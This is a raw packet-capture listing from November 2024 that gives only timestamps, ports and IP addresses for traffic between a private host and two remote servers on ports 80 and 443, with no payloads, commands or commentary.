Nov 17, 2024 01:38:52.043473959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043484926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043487072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043498039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043508053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043517113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043520927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043539047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043539047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043550968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043560982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043564081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043572903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043585062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043595076 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043610096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043631077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043641090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043651104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043679953 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043689966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043698072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043709993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043720961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043742895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043766022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043767929 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043788910 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043797970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043826103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043839931 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043936968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043947935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043981075 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043992043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044003010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044014931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044023037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044024944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044034958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044045925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044056892 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044064045 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044069052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044079065 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044095039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044121981 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044308901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044348955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044349909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044362068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044382095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044398069 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044399977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044411898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044421911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044433117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044445992 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044467926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044496059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044507980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044517994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044528961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044534922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044536114 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044548988 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044553041 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044572115 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044578075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044588089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044596910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044600964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044611931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044625044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044635057 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044646025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044647932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044656992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.044682026 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.044692039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.047506094 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.048825979 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.048835993 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.049444914 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.049449921 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.055901051 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.056206942 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.056216002 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.056598902 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.056603909 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.090632915 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.104885101 CET	56799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.104892015 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.105453014 CET	56799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.105457067 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.157533884 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157555103 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157567024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157577991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157594919 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157629013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157644987 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157660007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157670975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157686949 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157694101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157705069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157706976 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157716036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157722950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157727003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157736063 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157747984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157756090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157767057 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157768011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157776117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.157800913 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.157824993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158004999 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158015013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158026934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158049107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158068895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158076048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158087015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158143044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158175945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158185959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158199072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158207893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158214092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158226013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158236980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158246994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158251047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158257961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158269882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158272028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158279896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158287048 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158305883 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158310890 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158330917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158339977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158344030 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158361912 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158375025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158405066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158416033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158427954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158438921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158443928 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158457041 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158463955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158478022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158478975 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158488035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158524990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158575058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158586025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158596992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158617020 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158629894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158637047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158646107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158655882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158667088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158675909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158678055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158693075 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158700943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158714056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158736944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158771038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158857107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158868074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158878088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158889055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158900023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158909082 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158936024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158947945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158953905 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158958912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158968925 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158974886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158982038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158986092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.158994913 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.158997059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159008026 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159008026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159019947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159019947 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159035921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159053087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159063101 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159064054 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159065008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159074068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159079075 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159085989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159095049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159101009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159113884 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159122944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159131050 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159130096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159140110 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159142971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159152031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159162045 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159163952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159174919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159189939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159204960 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159327984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159344912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159356117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159368038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159377098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159377098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159387112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159389973 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159416914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159435987 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159872055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159965038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159975052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159986019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159986973 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.159991026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.159996986 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160000086 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160006046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160022974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160049915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160052061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160062075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160070896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160079956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160089016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160095930 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160099030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160109043 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160130978 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160481930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160492897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160502911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160517931 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160530090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160535097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160546064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160551071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160562038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160571098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160572052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160581112 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160587072 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160589933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160619020 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160619974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160628080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160636902 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160645962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.160651922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.160674095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.177843094 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.178070068 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.178117990 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.178118944 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.178169012 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.178212881 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.178220987 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.178252935 CET	56798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.178257942 CET	443	56798	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180504084 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180563927 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180691004 CET	56797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.180759907 CET	56797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.180767059 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180787086 CET	56804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.180794954 CET	56797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.180799961 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180819988 CET	443	56804	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.180882931 CET	56804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.181046963 CET	56804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.181062937 CET	443	56804	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.182586908 CET	56805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.182617903 CET	443	56805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.182708979 CET	56805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.182837009 CET	56805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.182851076 CET	443	56805	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.232572079 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.232623100 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.232721090 CET	56799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.232865095 CET	56799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.232865095 CET	56799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.232873917 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.232880116 CET	443	56799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.237251043 CET	56806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.237287045 CET	443	56806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.237361908 CET	56806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.237742901 CET	56806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.237761021 CET	443	56806	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.250511885 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.250545979 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.250592947 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.250633955 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.250663996 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.250744104 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.250756025 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.250766039 CET	56796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.250770092 CET	443	56796	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.254000902 CET	56807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.254040003 CET	443	56807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.254199028 CET	56807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.254368067 CET	56807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.254386902 CET	443	56807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.272830963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272845030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272855043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272876024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272907019 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.272921085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272932053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272944927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.272948980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272953033 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.272958994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272969961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272973061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.272979021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272988081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.272998095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.273010015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.273017883 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.273040056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.273076057 CET	80	49911	185.215.113.206	192.168.2.6
